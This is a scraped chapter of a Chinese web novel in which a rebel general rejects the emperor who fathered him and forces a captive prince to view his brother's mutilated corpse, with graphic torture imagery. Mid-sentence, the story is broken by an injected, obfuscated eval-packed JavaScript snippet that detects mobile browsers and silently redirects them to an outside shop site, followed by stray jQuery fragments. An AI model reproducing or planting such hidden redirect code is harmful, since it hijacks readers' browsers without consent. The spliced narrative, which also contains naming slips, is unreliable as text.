文趣网 > 其他小说 > 回到将军少年时 > 98. 辩无可辩
    所以此刻面对着沈图南声声泣血的质问,赵承聿辩无可辩。

    也没什么好辩解的。

    沉默半晌,赵承聿屈膝,慢吞吞俯下身子,然后,缓缓地跪了下来。

    大雍的皇帝,太极殿的主人,跪在了自己从未养过一天的儿子面前,就如同许多年前,功高盖主的沈铮求狱卒给他最放心不下的小儿子带口信一般,虔诚,卑微。

    他说:“朕不信。”

    “朕知道这些话说出来都是借口。朕没保住你娘,没保住你养父,没保住沈家,也没给过你一天父亲该给的东西。朕不配说‘我是你爹’。”

    赵承聿从袖中取出一卷发黄的绢帛,展开铺在地上。上面画着一个女子的侧影,一张薄薄的宣纸落下来,上面写着两个字:“怀疆”。

    “这是你的名字。”

    “赵怀疆。朕和你娘一起取的。怀抱疆土之意,朕盼你将来守得住这片山河。”

    “你娘死的时候,朕抱着你站在血地里,你哭,朕也跟着哭。后来你被沈老将军带走,朕知道那是最好的路。朕护不住的人,沈老将军能护住。”

    他忽然笑了一下,脸上却不见丝毫喜色:“朕挺后悔的。当初若自己把你养大,你是不是就不会杀到朕面前来了?”

    沈图南看着跪在地上的帝王,看着那卷旧绢帛,看着那只银锁。

    胸腔里有什么东西在翻涌。

    愤怒、怨恨,还有某种被他压了二十多年的、不愿意承认的酸楚。

    他抽出刀。

    刀锋寒光映在老人沧桑的脸上,赵承聿闭上了眼睛。

    但刀没有落下去。

    “铮”的一声,碎屑飞溅,沈图南转身,一刀劈在案几上。

    虎头银锁被刀锋劈成两半,弹落在汉白玉地面上,叮当两声,碎了。

    赵承聿的脸上的表情瞬间被一股子死气笼罩。

    “我姓沈。”

    沈图南的声音掷地有声,没有任何温度可言,“无论你再怎么说,血缘也好,养育之恩也罢,我姓沈,这是谁都改变不了的事实。”

    “我爹沈铮,护国将军。我大哥沈凌云,定北将军。我二哥沈持舟,朝廷重臣。而我,”顿了顿,他斩钉截铁,不容置疑,“我会传承他们的衣钵,完成他们的遗志,只要有我在一天,沈家就不会倒。”

    他想,跟这种人没什么好说的。

    赵承聿给了他这副骨血,却没当过他一天父亲。

    沈图南的父亲只有沈铮,教会他骑马、写字、做人。

    这样好的父亲,是被赵家的天牢活活折磨死的。

    而他今日站在这里,是来报仇的,不是来认爹的。

    赵承聿抖如筛糠,跪在原地,低头看着地上那两半银锁,终于把脸埋进掌心里,喉咙里发出一声极其压抑的、像一个真正的老人失去孩子时才会有的呜咽。

    程掌珠赶到太极殿的时候,殿门半掩着,里面的香烛已经燃尽了,只有几缕残烟在梁间游走。

    她推开门的动作极轻,可门轴发出的一声长吟在空旷的殿内回荡了许久。

    沈图南背对着她站着,甲胄未卸,肩甲上还沾着血,正在和赵明理对峙。

    当朝三皇子,贺贵妃的儿子,也是赵明德的弟弟。

    那人秉性纯善,在朝中的声望与赵明德平分秋色,即便沦为阶下囚也依旧不卑不亢,身上还穿着被押来时那件月白锦袍,端的是清风朗月之态。

    程掌珠收回目光,视线聚焦在赵明理身上。

    现在不是安慰人的时候,她还有更重要的事要做。

    赵明理一双凤眸里满是冷意,即便已是强弩之末,却仍不愿低头。

    他是见过沈图南的,在很久很久以前。

    那时候他在还在和大哥打擂台。

    彼时的沈图南处于中立状态,少年战神,一战成名,说一点都不骄傲那是假的,想来也是,如果是普通人能够取得他那样的成就,估计早就轻狂得哪怕出个门都要人八抬大轿的请着。

    尤其他尝试过拉拢沈图南,可沈图南像是打从心底里恶心这种行为,但凡赵明理露出一丁点那方面的意图,他就会一脸嫌恶的躲开。

    仿佛在躲什么脏东西。

    久而久之,他也懒得再热脸贴冷屁股了。

    得民心者得天下,又不是得沈图南者得天下。

    可偏偏这样的男人却对自己的大哥青眼有加,如果要说皇室中人里,沈图南能和谁心平气和地说几句话,毫无疑问的,是先太子赵明德。

    眼下面对着沐血而来的沈图南,赵明理心中第一次生出来了一种脱离计划之外的慌乱。

    他终于意识到情况不对。

    曾经以为十拿九稳的战役,只不过是他的一厢情愿罢了。

    沈图南闭了闭眼,用手捂住程掌珠的眼睛,“别看,脏。”

    接着眸色一敛,一刀砍在了赵明理的膝盖上。

    赵明理防不胜防,失去平衡,一脸空白地直挺挺倒了下去。

    疯疯癫癫的贵妃不知何时挣脱了侍卫的桎梏,哭喊着扑到了赵明理身上。

    原本保养得宜的脸上此刻全是狰狞的泪痕,更显得无比可怖。

    她嘶吼着,咆哮着,“我儿是无辜的,这一切都是我做的!你们要杀要剐冲我来,为什么要动我儿子?!”

    沈图南冷眼瞧着。

    站在他身旁的程掌珠亦然,面上的冰冷丝毫未褪。

    真刺眼啊。

    她这样想到。

    现在演起母子情深了,怎么没有想到因为他们的一己私欲害了多少无辜的百姓?

    看着赵明理脸上那因为痛苦而扭曲的神情,程掌珠的心里却没有一丝一毫的快慰或是怜悯。

    是那些脏事丑事全是贺贵妃一个人做的,而赵明理作为既得利益者就一点错都没有吗?

    账不能这么算。

    为了给自己的儿子搭上一条登天梯,她做了多少伤天害理的事。

    即便有再多的理由,再多的苦衷,那也无法泯灭已经发生了的悲剧,无法改变他是利益既得者这一事实。

    可出人意料的,赵明理是个孝顺的孩子。

    他知道谁对他好,谁是真心爱护他,谁是无条件站在他那一边的。

    所以即便已经痛到浑身痉挛,赵明理

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17714903|203150||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    还是哆嗦着试图挡在贺贵妃的面前,脸上毫无人色,却依然坚定不移,“别动我母亲。”

    “她是这世界上最好的母亲,你们别伤害她,算我求你们。”

    那模样,把母子情深演了个十成十。

    程掌珠终于忍无可忍,一把抓过赵明理的头发,反手给了他两耳光,凑近,原本圆润可爱的面庞此刻显得格外狰狞扭曲。

    “装什么装!?我告诉你,这个世界上最没有资格活着的就是你!”

    “你的母亲是个好人?你知不知道她害了多少人?”

    愤怒几乎将程掌珠的理智吞噬殆尽,她死拽着赵明理的衣领试图像拎小鸡仔一样把他拉进大殿中央,拽了拽,没拽动。

    一旁的沈图南心领神会,四两拨千斤地把程掌珠的手从赵明理的脖子上移开,又轻轻地捏了捏她的手指,以作安抚。

    接着面色不改,手腕微微用力,就替代她一把将赵明理像拖死狗一般拖进了停灵殿。

    直到大殿中央的布匹被掀开,赵明理的表情才终于有所变化。

    在来之前程掌珠就已经让人做好了准备,让几个丫鬟给那人披上衣服。

    生前是那样穷讲究的一个人,死后也不能让他体面全无,尤其还是在亲弟弟面前。

    程掌珠径直走向殿中的那一具……已经不能被称作“人形”的东西。

    停灵殿正中放着一只铁笼,笼中蜷着一团阴影,四肢以不自然的角度曲折着,手腕脚腕处空空荡荡,被齐根斩断,断口已经发黑。

    从小就养尊处优,被贺贵妃当成眼珠子似的疼,赵明理哪里见过这种架势。

    他魂都快被吓飞了。

    程掌珠的下颚线绷紧,死咬牙关才没让脏话脱口而出,不顾赵明德的挣扎,强硬地薅着他的脖子把他的脸摁在了栏杆之上。

    他与那副尸身只隔着三指的距离。

    缓慢地眨了眨眼,赵明理终于看清了他的脸。

    脸颊凹陷,头发被剃光,露出头皮上密密麻麻的针孔,嘴巴微微张着,里面塞满了谷糠,干涸的唾液和糠粉混在一起,糊满了半张脸。

    唯一还完整的,是那双眼睛。

    眼窝深陷,眼眶周围的皮肤青紫肿胀,惟眼珠还在。

    那双眼睛的颜色是极淡的灰褐色,像雨后的远山,程掌珠曾经觉得那是“大雍最温柔的一双眼睛”,可如今它们睁着,定定地望着殿顶的藻井,不再转动,不再眨动,只是睁着。

    死不瞑目。

    赵明理浑身颤抖起来。

    他方才被押进来时第一眼看见铁笼里的东西时,就直接跪倒在地上,呕了出来。

    他吐了很久,恨不得把五脏六腑都吐出来,吐到胆汁都空了,吐到只能呕出清水。

    瘫坐在地上,赵明理仰头看着铁笼里的那个人,嘴唇翕动了很久,才发出声音:

    “……兄长?”

    如同惊雷炸响。

    是了。

    即便双眼被挖去,四肢被砍断,整个人枯瘦如柴没了人样,可他就是能轻松地辨别出来。

    躺在那里的不是别人,正是他的太子皇兄赵明德。